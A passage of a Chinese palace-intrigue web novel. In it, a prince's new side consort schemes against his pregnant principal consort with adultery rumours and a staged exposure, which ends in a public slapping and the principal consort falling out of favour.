萧临拿起喜秤,挑起鲜红的盖头时,眼神恍惚一瞬。 去年,他便是如此迎娶崔锦入门,那时盖头下的绝色容颜,叫看惯美色的他都失神一瞬。 他异样的面色叫梁溶月与一旁的婢女看了个正着,但却都误会了,以为他是被梁溶月的容貌所惊艳。 婢女心下一喜,梁溶月却笑容不变:“王爷?” 她长相明媚,声音却十分软甜,像是能喊到人骨子里去一样。 萧临回过神,配合喜婆过完了接下来的流程。 等房中只剩两人时,萧临刚坐去床边,便见梁溶月起身,屈膝一礼:“妾身知晓王爷应下这桩赐婚是无奈之举,妾身亦然,妾身会配合王爷瞒过喜婆,也希望以后王爷能给妾身一些体面。” 萧临微愣,眉头皱了一瞬。 他已经准备圆房——这本没什么,但梁溶月如此一说,倒显得他猴急似的。 他淡了心思,点头应允。 见梁溶月面露迟疑,萧临声音沉了些:“本王还不至于强迫你。” 梁溶月松了口气,笑容立时便明媚了:“多谢王爷!” 她自然地坐在了萧临身边,语气娇俏而敞亮:“妾身听说王爷与王妃伉俪情深,很是羡慕呢,如今能近距离看到你们恩爱模样,也算圆满了。” 萧临随意搭话:“女子都求有情郎,你只求旁观他人夫妻情深?” “王爷这便是何不食肉糜了。”梁溶月托着下巴叹了口气,“无价宝易求,有情郎难得,如今这世道,与其求自己觅得圆满姻缘,不如看别人恩爱白头,这样至少自己不受伤,还能看别人圆满而得自己圆满。” 她歪头看向萧临,勾唇一笑:“若非听说王爷与王妃伉俪情深,妾身才不会听从家中安排,嫁给王爷呢。”她环视一圈房内的装饰,露出心满意足的模样,“妾身的家族为您带来了助力,妾身自己也有了合适的归宿,我们岂非双赢?” 她如此解释,萧临也不由露出笑容。 “对了,王爷怕疼吗?” 萧临疑惑地看着她。 梁溶月苦着脸看向床上白净的喜帕:“得留点血迹,但妾身怕疼……” “宫里不会管。”萧临不甚在意。 他精水稀少在前,崔锦有孕在后,淑妃早就不追着圆不圆房的事催了,反正对她来说没什么用,还浪费时间。 梁溶月却还苦着脸:“可妾身还要在王府过日子的,叫人知道此事,妾身还有何脸面啊……王爷帮帮忙吧……” 她双手合十作揖,模样明媚娇俏,十分鲜活,还带着些刻意装出来的可怜兮兮。 萧临随意地割破自己手指,滴了几滴血。 梁溶月立刻拍了下手:“王爷最好了!” 话音落下,她便一股脑爬上床:“夜深该睡啦。” 颇有些用完就扔的意思。 萧临对她从没感觉立刻便上升到了没好气又无奈的情绪,淮阴侯府嫡女的刻板印象也被一个鲜活娇俏的身影取代。 见梁溶月呼吸渐渐均匀起来,他也躺上床睡了。 在他躺下的瞬间,梁溶月立刻卷着被子滚去了床里侧,在两人中间还能再躺下两个人的距离睡了。 萧临心头微堵。 一个崔锦也就罢了,刚成婚时虽也避他如蛇蝎,但到底是因爱慕他之故,可这个梁溶月却对他没有半分情意,反而还很不愿沾染他的样子。 他心中莫名便多了股不忿的情绪。 翌日,梁溶月起床后便打量了一圈春熙院,很是满意:“不错,不枉我屡屡派人来查验,这院子很合我心意,以后就在这里养老了!” 这话她是对婢女说的,也算解释了先前淮阴侯府阵仗颇大的一些要求。 见萧临穿衣出来,她忙上前拉着他衣袖,小声恳求:“王爷好东西多,不如赐妾身些小玩意儿吧,那百宝阁上太空了,院里名贵漂亮的花草也不多,还有妾身的妆台……太小了。” 她嘀嘀咕咕了好一堆,眼中只有对珠宝古董的渴望,半点没有萧临的存在。 萧临顿了一瞬后,到底还是点了头。 “本王去看王妃,你用过膳便来请安吧。” “是!” 看着萧临背影渐行渐远,梁溶月脸上明媚笑容依旧,眼底却多了暗色。 “侧妃,您如此……是否有些太不将王爷放在眼里了?”婢女听雪忧心地小声问。 “要的就是不将他放在眼里。”梁溶月轻笑一声,“只要挑起男人的征服欲,他便会无比在意我的存在,继而付出更多,以期叫我交付身心。” 处处守规矩叫他挑不出错,却又屡屡不将他放在心上,还以他女人的名义整日在他眼前晃悠,由不得他不生出征服欲。 可投入的越多,他还能轻易放手吗? 第八十六章 三房送女 正院。 “王妃,方才庆喜公公开了王爷私库,赏赐了春熙院不少好东西。”如春轻声禀报,“王爷似乎很满意这位梁侧妃。” 不过一夜功夫罢了,竟能叫萧临亲口赏赐,还劳动庆喜去开库房,恐怕现在满府都知道这位梁侧妃有多受萧临喜欢了。 崔锦点点头:“你去开我的库房,也多给她送些赏赐。” “是。” “赏赐什么?”萧临迈步进门。 “当然是赏赐梁侧妃。”崔锦嗔他一眼,“王爷如此喜爱,只怕要将我这个旧人忘了去,我还不赶紧讨好着?” “嗯……倒也有理。”萧临眉头微挑,竟是点头赞同,“你若赏赐大方,叫本王印象深刻,自不会忘了你去。” 话音未落,胸膛上便挨了一下,打得他瞬间笑了起来。 他搂着崔锦夸:“可算有出息,不与孩子吃味了。” 见崔锦还瞪着他,他近乎诱哄地对她笑:“与你开个玩笑,别恼……不过梁氏的确与其他女子不同,年纪小,也天真得紧,对本王都没什么情爱心思,净想着玩呢,你多赏些衣裳首饰,她就高兴的不得了了。” 难得有女子能得他如此正面评价。 崔锦眸色更深,温柔应下:“原是如此,这倒也不废什么功夫。” 萧临赞同点头:“等她一会儿到了,你见过就知道。” 说罢,他便细细问起了崔锦的身子,连昨夜与今早吃了什么喝了什么都问得细致。 不一会儿,梁溶月与后院女人们都到了。 “妾身给王妃请安,愿王妃玉颜永驻,母子平安!” 崔锦含笑接过茶喝了一口,给过赏赐后照例训了几句话,便叫她坐了。 “谢王妃!”梁溶月眉开眼笑,声音娇软而欢喜,“从前妾身在闺中时见王妃便惊为天人,那时可想与您说话,却不好意思,当知道日后可以与您同处一屋檐下,妾身高兴得一晚上没睡着,就盼着日日看美人呢!” 她话多,语气却轻快,言行间还带着股天真,并不令人生厌。 屋里不少人也被逗笑,崔锦言语也温和照顾,一时竟有些其乐融融之象。 萧临看着这一幕,心生感慨。 如庄清婉那种搅屎棍到底是少数的,只看梁溶月不过进门一日,后院就没了往日那股安静沉闷的样子,他瞧着心情也轻快了些。 这般想着,后头几日他在前朝与淮阴侯府来往密切了些,在后院也给了梁溶月几分体面。 崔锦不再有独宠之势,反倒被梁溶月分去不少宠,如朱氏、叶挽棠之流,一月里也最多只能得一次恩宠罢了。 叶挽棠倒是不在乎恩不恩宠,但如江柔之流,都在观望崔锦是否会出手打压梁溶月,却屡屡失望——崔锦安心养胎,连每日请安都减少到了三日一回,而梁溶月更是恭敬有加,几乎日日去正院陪崔锦说话,十分亲近。 王府内表面颇为和睦,但落在外人眼里,便不是这么回事了。 “梁侧妃恩宠日甚,王妃要早做打算啊。” 崔锦已经坐稳了胎,因这日是二弟生辰,便特地回了崔府一趟,没想到在崔老夫人院中连椅子都没坐热,就被三房婶娘劝了一句。 她看向苦口婆心的崔三婶,温声反问:“依三婶娘之见,我该如何打算?” “自是固宠要紧。”崔三婶忙道,“您如今有孕,无法伺候王爷,还不都被后院的小妖精抢了机会去?如那梁侧妃,出身也不比您差多少,万一运气好有了孕,您腹中的孩子便没那么珍贵了……绝不能叫她威胁到您啊。” 见崔锦没说话,她心下一喜,抬手招了一位姑娘进来:“这是我娘家侄女,王妃想来还记得,你们打小就认识的……素儿花容月貌又温柔可人,最重要是与王妃同气连枝,不如王妃带她回府,也好帮衬着您些。” 崔锦眸光一转。 那姑娘白玉般的脸颊微红,色若桃花,比之朱氏也不差多少了。 “臣女林素,给王妃请安。” “傻孩子,怎与王妃生分起来了?”崔三婶怨怪道,“你们表姐妹的,合该亲近些,叫从前的称呼便是。” 崔三婶是崔老夫人娘家侄女,林素按辈分,该叫崔老夫人一声姑祖母。 她有些不好意思地再次唤道:“见过表姐。” 崔锦轻笑一声:“陇西布政使,三品大员之女,叫我随意带回府,岂非轻慢?” 三房不比没什么本事的二房,崔三爷官至四品,崔三婶娘家兄长年前刚高升为陇西三品大员,又夹带着崔老夫人的血脉关系,故而送女之事也只她有底气与崔锦提起。 “都是一家人,怎算轻慢?” 崔三婶笑道:“旁人想要这个机会都求不来呢。” 萧临又不是色中饿鬼,党羽也多是前朝利益牵扯,甚少在后宅上下功夫,如陇西布政使这种地方上的官员,想送女都找不着门路。 “辛苦三弟妹筹谋一场了。”崔母的声音异常冰冷,“枉我还真当你思亲心切,容你侄女进府居住,未想你姑侄竟打着这样的主意。” 皇宫王府甚至世家主母挑人固宠,这并不罕见,可普遍挑选的都是出身低微的美貌女子,以便拿捏,但叫崔锦接一个三品大员的女儿进府固宠? 打量谁不知道他们想拿崔锦当踏板,图谋更大呢! 比起林素,她宁可叫崔锦给丫鬟开脸,做通房固宠! “王府中事,还轮不到你指手画脚,来人,将林姑娘请出去!” 闻言,崔三婶和林素都急了。 崔三婶忙道:“大嫂,我也是为王妃着想啊,那淮阴侯府是好对付的么?淮阴侯在军中威望不小,世子更是御前红人,若真叫梁侧妃得宠有孕,届时王妃该当如何,我们崔家该当如何?” 说完,她转头看向崔父:“大哥,你说句话啊!” 崔父皱紧眉头,对崔锦道:“锦儿,你要以大局为重,王爷不可能独宠你一人,有个自己人帮衬最要紧,难道你想叫淮阴侯府后来居上?” 林素机灵,见状忙表态:“臣女入府后,定以王妃马首是瞻。” 第八十七章 别沾他晦气 崔锦没说话,只是放下茶盏起身:“母亲,我们走吧。” “王妃这是去哪?”一直没说话的崔老夫人忙喊住她。 “道不同,不相为谋。”崔锦淡淡开口,“我原以为我们家人上下一条心,却不知祖母与父亲还有自己的算计,倒是我枉做好人了。” 话落,她带着崔母便走,任崔父如何叫喊都没再搭理。 直到回了正院,崔母还气得不行:“老夫人一把年纪,倒还惦记着拉拔娘家!你父亲也是个蠢货,真叫林家起来了,难道人家还会以他为尊?林家送女难道就真只图帮衬崔家?” 崔锦淡淡开口:“我与父亲不亲近,他自然心里嘀咕,想扶个更亲近的后辈上位。” 崔母冷笑一声:“人家自己有亲爹呢,上位后不帮衬自己亲爹,难道帮他?蠢货!” 还有老夫人也是,晋王与萧临分庭抗礼时不见她帮衬,现在晋王势弱,萧临胜算更大了,她倒叫娘家出来摘果子了,想什么美事呢! “母亲别气。”崔锦温声道,“我不会接林素入府,他们若还没歇了心思,就自己去走门路吧。” 她握住崔母的手,笑道:“他们还不知表哥已私下投了王爷,以为我只能靠崔家,所以拿捏我呢,咱们自己清楚有后路就行。” 谢长清已借晋王换死囚一事给了萧临投名状,他是谢氏长房嫡长子,代表着谢氏的态度。 如今在萧临母子眼里,她的价值可要大多了。 闻言,崔母表情也缓和了许多,她的锦儿在王府小心谨慎,她可不能叫崔家拖了她的后退,崔父若还不清醒…… 崔母眸光倏而闪过厉色。 崔锦又与弟弟妹妹们玩了会儿,才回了王府。 刚走到正院外,就听里面传来一阵欢笑声。 如春眼底闪过一抹厌烦:“又来了。” 崔锦面色自然地进门,便见萧临斜倚在软榻上,梁溶月坐在他身边,正手舞足蹈说着什么,笑声不断。 “又输了又输了……”梁溶月正笑着,便见萧临蓦然起身。 她一愣,回头就见萧临已经走去崔锦身边,小心地扶着她:“累不累?用过午膳没有,饿不饿?” 梁溶月眼神暗了一瞬,随即很快扬起笑容,打断崔锦的回话:“崔姐姐回来啦?” 她兴冲冲走上前,挤开萧临:“王爷你笨手笨脚,可别伤着了崔姐姐,还是我们女子细心些,来崔姐姐……小心些。” 她轻轻扶着崔锦坐在软榻上。 萧临没好气道:“本王还能没你一个小丫头稳重?” “那王爷怎还赢不过我一个小丫头?”梁溶月反唇相讥。 见萧临话头被堵,她抱着崔锦直笑:“崔姐姐你不知道,王爷可笨了,方才与我玩了好一会儿猜谜,竟一回没赢……” “还不是你出题刁钻?”萧临回。 “输就是输,王爷可别找借口。”梁溶月说完,皱了皱鼻子,“崔姐姐可是周大儒的入室弟子,才华横溢,配王爷可受了大委屈了。” 她心直口快,如春几人却皱了皱眉。 这话虽在称赞崔锦,可但凡萧临想得多些,只怕都要生出不满。 堂堂龙子凤孙,还配不得一介臣女? 不等萧临开口,崔锦便含笑道:“溶月不了解王爷吧?王爷十七便上战场,算无遗策,用兵如神,打得魏国不敢来犯,是我大周的英雄,若论相不相配,该是我配不上王爷才是。” 萧临一下便笑了:“英雄当配美人,也只锦儿这等绝代佳人才配得本王。” 如秋眸光微动,掩唇而笑:“不都说英雄难过美人关吗?” “可不是?”萧临今日心情好,也难得配合说笑,“本王就栽在你们王妃身上了。” 闻言,几个婢女都笑了起来。 梁溶月被忽视在一旁,手指微紧一瞬。 正当她整理好情绪,准备开口时,崔锦掩唇打了个哈欠。 萧临紧张起来:“是不是今日太累了?” 他立刻便叫人都下去,梁溶月拌了两句嘴,却没能夺回萧临的眼神,只能不甘地离开。 “梁侧妃好走。”如春屈膝恭送。 如夏小声嘀咕了一句:“真讨厌……” 几乎日日来正院偶遇萧临,打着喜欢崔锦的名义与萧临打情骂俏,当谁看不出来呢! “梁侧妃孩子心性。”如秋意味深长道,“王妃深爱王爷,王爷因此垂怜几分,梁侧妃却还什么都不懂呢,她又不记挂王爷,便只能受些冷落了。” 如夏一愣,反应过来后便幸灾乐祸地笑了。 萧临缺爱,崔锦这样不计后果的痴情正满足了他,加之培养出来的感情与崔锦刻意的洗脑,现在连他自己都觉得自己栽在崔锦身上了,梁溶月想靠欲擒故纵引起萧临的注意力,也不打听打听萧临的喜好么? 他能真宠爱一个不喜欢自己的女子? 不过……如秋蹙眉看了眼梁溶月离开的方向。 此女手段实在不低。 …… 崔锦歇了两日,便与梁溶月一起进宫请安了。 淑妃一见她便忙叫她坐:“你身子重,本宫都说了不必进宫,偏你认死理。” 崔锦笑道:“母妃这里的点心好吃,不叫妾身来请安, 还不叫妾身来吃点心么?” 淑妃面露无奈:“你喜欢,把御厨带回去都行。” 梁溶月在淑妃面前表现得极为端庄懂事,配合着说笑。 不一会儿,做好的点心被端上来,端来的人却叫崔锦愣了一下。 林素。 她态度恭敬,看向崔锦的眼中却闪过一抹胜利的喜悦与得意。 还真叫林家找着门路了,托关系到了淑妃这里。 淑妃没觉得有什么不好,送上门的三品大员,不收白不收,府里那么多女人,她觉得崔锦也不会在意多一个少一个。 但虽这样想,她还是安慰崔锦:“老四不会看人脸色,多留在你身边便难保要多气你一回,叫他祸害旁人去,你可别沾他晦气。” 话落,林素和梁溶月都愣住了。 淑妃看重孙子,继而看重崔锦,因此安抚,她们能理解。 可堂而皇之说自己儿子晦气,叫他祸害别人……瞧着怎么像崔锦才是她亲生的,萧临是那个百看不顺眼的女婿? 就连崔锦自己都诧异一瞬,含蓄回道:“王爷体贴妾身有孕辛苦,很是照顾呢。” “得了吧,本宫还不知道他?”淑妃毫不掩饰自己的嫌弃。 打小就是个看不懂人眼色的,直来直去捅人心窝子,如今虽在朝堂浸淫着收敛了些,但本性难移。 她可不想崔锦有半点闪失,影响了叫永隆帝百般看重的孙子。 第八十八章 王妃肚子异常大 淑妃叮嘱了崔锦好一番才罢休。 钟粹宫的人都见怪不怪,梁溶月和林素心中却警惕起来。 尤其是梁溶月,崔锦本就靠山强硬,还有萧临宠爱,若再叫她生下长子——哪怕只是长女,她的地位都会十分稳固,想动她也会难上加难。 如今也就罢了,难道日后萧临登基,还要她梁溶月低崔锦一头? 没这样的道理。 与其等日后费心再斗,不如直接扼杀于萌芽! 她垂下的眸光蓦然一厉。 “娘娘,九皇子来了。”邱华笑容满面地进来禀报。 淑妃立刻喜上眉梢:“快叫他进来。” “三日不见,母妃想不想儿子?”一个八九岁的小少年一阵风一样跑进来,眉眼清俊,与萧临有三分相像。 “还能不想你?”淑妃满眼快要溢出来的疼爱,心疼得给他擦了擦额头的汗,“外头天正热,怎还跑着来?” “儿子想母妃,恨不能长翅膀飞着来。”九皇子笑嘻嘻说完,转身对崔锦拱手,“给四皇嫂请安,梁侧妃有礼。” 崔锦笑吟吟道:“九皇弟长高了不少。” “可不是?”淑妃无奈接话,“半个月前新做的衣裳,转眼就不合身了。” 林素忙恭维道:“信王殿下身长八尺,想必九殿下必然是随哥哥,日后定是个威猛儿郎。” 她说完,九皇子还是笑嘻嘻的模样,淑妃笑容却淡了不少。 “那便是极好了。”她道,“你去外头候着,稍后随王妃一道回府。” 林素一头雾水,小心翼翼地应了。 崔锦低头抿了口茶。 淑妃正在聊最疼爱的儿子,尤其还几日未见想的紧,却忽然被提起另一个不待见的儿子,心情哪儿能好呢。 她自己也清楚对两个儿子的区别对待,乍然被林素一提醒,倒像是讽刺她偏心似的。 九皇子坐了会儿,后头竟跟来不少嫔妃。 ——如今淑妃协理六宫,萧临又在前朝十分得用,后宫里来赶热灶的人也多了不少。 崔锦打过招呼后,适时起身告退。 淑妃也不欲叫她在这种人多地方多待,便叮嘱道:“本宫新得了些药材和云锦,你带回去用。” “多谢母妃赏赐。” 崔锦屈膝起身时,被梁溶月眼疾手快地扶住:“王妃小心,妾身扶着您走。” 德妃见状,面露惊讶:“梁侧妃很细心。” 梁溶月不好意思道:“妾身没经验,如今瞧着王妃身子愈重,实在惊心得很,便想多照顾着王妃些。” 德妃与几个妃嫔闻言称赞了几句,眼神却下意识落在了崔锦的肚子上。 连了解崔锦情况的淑妃心里也泛起嘀咕。 崔锦的肚子怎么比寻常有孕五月的妇人都要大上不少? 她们目光隐晦,崔锦恍若未觉,神态自然地离开。 梁溶月一直尽心尽力地扶着她,小心照顾,倒给沿路的宫人们心中留了个恭敬善良的好印象。 回到王府后,梁溶月才吩咐听雪:“叫听月去找江氏和安氏聊聊王妃肚子异常硕大的事,不必直言她与人有染,暗示即可。” 听雪闻言一惊:“王妃不会真的……那奸夫是谁?” “哥哥昨日传信给我,说谢氏公子早已进京,与王爷往来颇多。” “是他?”听雪愣愣道,“表兄妹间青梅竹马,的确容易生私情,可王妃……她已嫁入皇家,怎敢、怎敢……” “我怎知她敢不敢?”梁溶月道,“但既然天时地利人和都合适,便不能放过这个机会。” 她不知道崔锦究竟有没有与谢长清勾搭成奸,但崔锦的肚子明显不对劲,她在侯府时也见过有孕的姨娘,五月大的肚子可不是崔锦那样的……瞧着倒像六七个月了。 以崔锦从前的恩宠,大可以直言怀孕的月份——除非她怀孕的时机与侍寝的时间对不上。 至于谢长清…… 梁溶月神色天真,眼底闪过笑意。 她正好知道一些此人爱而不得的秘密。 …… 正院,崔锦正在听如春禀报:“果然有人去庵堂灭口庄侧妃了,但我们的人早有预料,活捉了那下毒的尼姑,只是要追查收买那尼姑的人还需要些时间。” 崔锦顿了一瞬:“去查查梁溶月。” “您是怀疑她……” “或许吧,只是直觉罢了。” 梁溶月心计不俗,进府后更是快速虏获了王府上下的心,任谁都觉得她没心眼好脾气,连先前与淮阴侯府有过冲突的叶挽棠都颇为照顾她。 倒像是有备而来。 这样一个人,在未进府前想铲除对手也不奇怪。 有庄清婉在前挡着,尚未进府的梁溶月可以片叶不沾,清清白白,若崔锦当真被害得一尸两命,她作为出身不低的侧妃,极有可能被直接以王妃之礼娶进门。 “那我们可要先下手为强?”如夏早就看不惯梁溶月强装天真,暗暗勾搭萧临的嘴脸了。 崔锦想到今日在钟粹宫的事,皱眉思索:“最近或许会有人传我肚子异常大,或许与外男有染,你想办法引去春熙院身上,还有淮阴侯府的把柄,查的如何了?” “表公子查到些淮阴侯贪污受贿的证据,我们可要放出去?” “不必,再过几日交给王爷吧。” 现在伤淮阴侯府就是伤萧临——她不觉得晋王最近安分是认输了,必然还有后手猛扑,所以萧临的势力轻易不能减。 倒可以拿着把柄,反辖制淮阴侯府。 如此,即便梁溶月做出些什么,触及了王府的底线,淮阴侯府也没底气给她撑腰。 如夏终于高兴起来。 谁能想到崔锦肚子里怀的是双胎呢。 双胎极为难得,京城里上一对双胎还是十三年前翰林院一位老大人老来得子,当时可轰动京城,连永隆帝都十分稀罕,现在谁敢想子嗣艰难的萧临会有好命得对双胎? 太医或许诊出来了,但没到瓜熟蒂落之前,他们不敢说出口,以免误诊或有了别的意外——宫里的太医最精湛的不是医术,而是保命技术。 过了几日便是中秋。 宫中夜宴结束后,萧临并未带崔锦回府,倒带她上街游玩。 “哪有王爷这样不体贴人的?”梁溶月跟在后面碎碎念,“崔姐姐肚子这么大,应该好生歇着,您倒好,还带她来人潮喧闹的地方受罪!” 第八十九章 崔锦,你迁怒也该够了吧? “你都明白的道理,本王不明白?” 萧临小心地扶着崔锦,温声解释:“听闻城西的送子观音庙很灵,尤其中秋日月灵气汇聚,这日来祈愿最佳。” 他已经特意叫马夫绕过闹市,走了人最少的一条路。 此时下车,路上果然人影萧条。 崔锦面露疑惑:“我怎从未听说?” “我知道我知道。”梁溶月走去她另一边,挽着她的手轻快道,“好像是最近才开始流传的,但的确有不少夫妻在拜完观音娘娘后生了大胖小子呢!” 萧临顿时面露尴尬,轻咳一声,解释道:“观音娘娘慈悲心肠,最能保佑母子平安,本王心想离得不远,你平日里也需走动,便来了。” 他当然也是想要儿子的。 尤其自崔锦有孕后,他重视非常——谁知道这会不会是他这辈子唯一一个孩子了。 比起女儿,他当然想要儿子。 他要嫡长子。 所以在听说送子观音庙很灵后,他就忍不住带崔锦来了。 他话音落下的瞬间,也到了送子观音庙门前。 “小心些。”萧临扶着她走上台阶。 崔锦刚进门,抬头就见谢长清踱步出来:“表哥?” 谢长清也面露诧异,因在外面,便只拱手,并未问礼。 “这位就是谢公子吗?”梁溶月歪头一笑,“果然如传闻中一般面如冠玉,仪表堂堂,谢夫人好福气。” 萧临顿时失笑:“长清还未娶妻呢。” “啊?”梁溶月愣了一下,“能来观音娘娘庙,必是为家中妻儿求福的……难道是谢公子的妾室?” 谢长清洁身自好,不沾女色。 萧临清楚这点,心中也疑惑起来,但毕竟是别家事,他也没什么兴趣,略聊了几句就准备扶崔锦进去。 “哎施主劳烦让让——” 一位菜婆提着供奉的食盒走来,似乎是食盒颇重的缘故,她走的跌跌撞撞,一下便撞到了谢长清。 “啪——” 他手中的香囊掉在了地上。 谢长清脸色微变,正要去捡,梁溶月却已经先一步捡起:“谢公子小心些,呶。”她递出香囊,里头的东西也随之落下。 是半截小像,眉眼颇似崔锦。 但她长相本就与谢氏女性长辈和表姐妹们相似,这半截小像本说明不了什么,可这些人中,唯一怀孕的便只有崔锦。 谢长清为谁来求观音娘娘,答案不言而喻。 萧临脸色骤沉,眼中一瞬阴云密布。 他冷冷扫过谢长清,声音冰寒:“人多眼杂,你先回去吧。” 说罢,他转身扶着崔锦进去祈愿。 谢长清看着他们离开的方向,眉头紧皱,心下忧心又万分懊悔。 忽地想到什么,他目光刺人般扫过那菜婆,匆匆跟上。 殿内,崔锦有些心不在焉,她从不知谢长清的心思,可现在不是想这些的时候——萧临不会罢休的。 果然,马车上,萧临抬手制止她的话,眉眼阴沉:“本王说过信你,便不会疑你与他有私,但谢长清……留不得。” 他再眼馋谢氏的助力,也忍不了一个觊觎他妻子的男人留在身边。 甚至为她来观音庙祈福。 如此深情。 一想到谢长清在自己不知情时究竟如何臆想崔锦,他心中就躁郁沉沉,有种杀了谢长清的冲动。 崔锦脸色一变:“王爷——” “本王不愿与你争吵,叫谢长清回清河去吧。”萧临冷声打断她。 他绝不会容许谢长清再出现在京城,谢氏若机灵,自该知道换人来辅佐,若觉他过分,转投晋王他也不惧。 左不了就是处境再艰难些,也总比忍下谢长清要叫他痛快! 崔锦脸色发白,咬牙让自己冷静下来。 可萧临淬了冰一般的语气,叫她恍然觉得像在冰窖一样。 她已经顾不得震惊谢长清深藏的情意,而是快速在脑中思索起来。 谢氏倾斜资源极力培养出的长房嫡长子、未来的谢氏家主,蓦然断了前程,甚至连入仕都成了奢望……这与断谢氏一臂何异? 二表哥已经出海,长房男丁中再无顶事之人,即便谢氏再派二三房的人来,能力人脉于资源上总有欠缺,远远不及谢长清能带来的助力大。 该怎么破局? 崔锦思索着各种对策,可最终都逃不过一个萧临,只要他有意阻拦谢长清前程,她毫无反击之力,等他铲除晋王登基,谢长清更无前程可言。 崔锦眼睛渐红,紧紧攥起双手,头一回觉得无力。 等消息传回清河,外祖父该会如何难过,他年事已高……受得住这样的打击吗? 还有远在柳州的舅舅舅母…… 不知不觉间便回了王府,崔锦回过神,搭着如夏的手下了马车。 “崔姐姐你没事吧?”梁溶月担忧地上前,“你脸色怎么这么差,是不是王爷欺负你了?” 说到这里,她气冲冲地瞪着下车的萧临。 崔锦看着她,脑中串联起一切经过,眼神瞬间冷下,抬手就扇了她一记耳光。 “啪——” 梁溶月捂着侧脸,愣住了,还在指责萧临的话也蓦然止住。 “崔锦!”萧临忍怒开口,“你就这样在乎他,不惜拿无辜之人撒气?” “无辜?”崔锦冷笑一声,“她吗?” 被指到的梁溶月又是一愣,眼睛渐渐红了:“我?崔姐姐你是不是误会了,我只是想还给谢公子香囊,并非有意解开……或许是谢公子祈愿时没收紧,我当真不是有意的,我……我、对不起,对不起!” 她眼泪直掉,慌乱地低头道歉。 萧临看不下去,将她护在身后,攥紧崔锦手腕,冷声警告:“她自进门起对你无有不恭,百般照顾,直到被你扇耳光前还在为你指责本王不尽心!崔锦,你迁怒也该够了吧?” “还是说,你只是单纯恨她戳破了谢长清的丑事?” 萧临语气不自觉带上了刺,目光冰冷近乎逼视。 第九十章 扇不得萧临,她还扇不得梁溶月? 中秋月圆之夜,天际还不时绽放烟花,听来便觉热闹不已。 可王府院中却人人噤若寒蝉,连呼吸都放得一轻再轻。 崔锦转头看向萧临,眼睛还是微红模样,眸光却已冷下:“送子观音庙为何从前名声不显,偏在近日将能护佑人生儿子的传言精准地传去公务繁忙的王爷耳边,连时间都控制在中秋之夜,又那样恰好地遇见谢长清,恰好还撞掉了他的香囊,恰好露于王爷眼前……王爷自己信是巧合,我不信。” “谢长清的心思我从不知晓,我也不在意。”她眼神再度落在梁溶月身上,声音冰冷如数九寒天,“但如此了解谢长清,以此算计我、算计谢氏的人,不扒下她一层皮,我枉做谢氏后辈!” 梁溶月急得眼泪直掉,哭着摇头。 她心里十分可惜,原以为打崔锦一个措手不及,能激得她失智之下做出些荒唐冲动事——方才也的确如此。 崔锦被气得当众掌掴于她,激怒了萧临,只需再拱火一二,就能顺利叫她二人间出现裂隙,或许还能气掉她肚子里的野种,一尸两命就更好了。 但没想到崔锦竟这么快就反应过来,还能压下愤怒和火气,条理清晰地点出不对。 看着萧临眸中掠过的一瞬深思,梁溶月眼神微沉。 她咬了咬牙,忽然提起衣裙跪下,膝行上前哭道:“崔姐姐,你误会我了,我当真不是故意的啊……我害你有什么好处!” “嫁入王府本非我所愿,我与王爷至今都未曾圆房,不过以知己好友相处罢了,我若想争宠害你,平日与你相处随便戴点麝香都够了,何必如此行事,绕大弯子去对付谢氏,还处处不沾染王爷半分啊……” “我又有多大能耐,能知道谢公子的秘密,还算计你们一群人……” 她哭得伤心,素来天真明媚的脸上满是悲切,话中之意更是惹人怜惜。 萧临的思绪也被打断。 梁溶月没有圆房一事素来瞒着旁人,生怕自己没了脸面,带累侯府不满,今夜她却能在一众奴仆面前说出此事,连最看重的面子都抛之不顾,可见心中焦急。 她一向敬重崔锦,喜欢体贴崔锦,但崔锦……实在过分了! 见梁溶月可怜巴巴地想上前去拉崔锦的衣摆,而崔锦冷冷避开的样子,他眼神沉下,一把拉起梁溶月。 “即便此事当真有人算计,也绝不会是溶月!再者说,谁还冤枉他谢长清了不成?”他沉声讽刺,“倒是你……十分关心则乱。” 崔锦抬眸,不带任何感情地看了他一眼。 她眼睛鼻子通红一片,衬着白皙如玉的肌肤更加明显,素来昳丽的容色忽添一股苍白脆弱之感,只有眼中冷意依旧。 萧临这回却没心软。 他在等她服软道歉。 平日纵着也就罢了,但今日本就是谢长清僭越龌龊的心思被揭露,他不处置都是看在崔锦面上,崔锦却依依不饶,还责打无辜的梁溶月,道歉都是轻罚。 崔锦自然明白他言下之意。 片刻寂静间,她忽然勾唇一笑,带着讽刺。 猝不及防的,她抬手又狠狠扇了梁溶月一个耳光。 “啊——”梁溶月惨叫出声。 这一巴掌崔锦没收力,直接扇得她险些倒地,堪堪靠着萧临才稳住身体。 “这就是我的道歉。” 扇不得萧临,她还扇不得梁溶月? 崔锦冷声说完,转身便离开了,任萧临如何呵斥都再未停步半分。 “王、王爷……”梁溶月眼泪直掉,紧紧攥着他衣角哭,“好疼、妾身好疼。” 萧临忍下怒气,低头看去,两个耳光下来直接叫梁溶月侧脸高高肿起,一半完璧无瑕,一半惨不忍睹,眼泪掉在上面,更叫人不忍直视。 他本就因为崔锦而怒火不止,此时更没心情关心梁溶月,皱眉移开视线后,安抚了几句,叫庆喜去请太医后就大步离开了。 梁溶月捂着脸,低头时眼神一片阴沉。 崔锦…… 听雪忙扶着她道:“咱们那里还有些驻颜膏,去这些痕迹很快,侧妃您忍忍,再过两日必然完好如初。” 梁溶月凉凉应了声:“再将香体膏和薄纱寝衣准备好,还有温情酒。” 容貌恢复之日,就是她承宠之时! 她要趁此机会踩得崔锦爬不起来,得到萧临的人和心! …… 王妃失宠了。 信王府上下都得到了这个讯号。 自中秋夜回府,王妃当众掌掴侧妃后,便被王爷冷落了,这叫不少人猜测侧妃甚得王爷喜爱。 但也有人私下里议论此事另有隐情——那日旁观经过的人不少,也从他们对话中猜出一二,谣言传着传着便更夸大了几分,最后不知怎么,竟成了王妃与谢氏公子私通,被王爷当场撞破,就连肚子里怀的也是奸生子。 这个说法甚嚣尘上,因为崔锦的肚子的确不像寻常五个月大的。 也有人冷眼瞧正院用度不减,样样都捧了最好的送去,显然是萧临还在乎这个孩子,却被辩驳是等崔锦生下来滴血验亲。 萧临接连几日都宿在前院,不知府中流言竟已经隐隐传去外头。 崔家这回来人看崔锦时,便趾高气昂得很了。 来的依旧是上回的崔忠:“老爷叫奴才来问候王妃可安,顺带给林夫人道个好。” 林素虽进府仓促,但萧临看在她父亲的面上,还是给了夫人之位。 如夏脾气冲,直接道:“问候完了,你可以走了。” 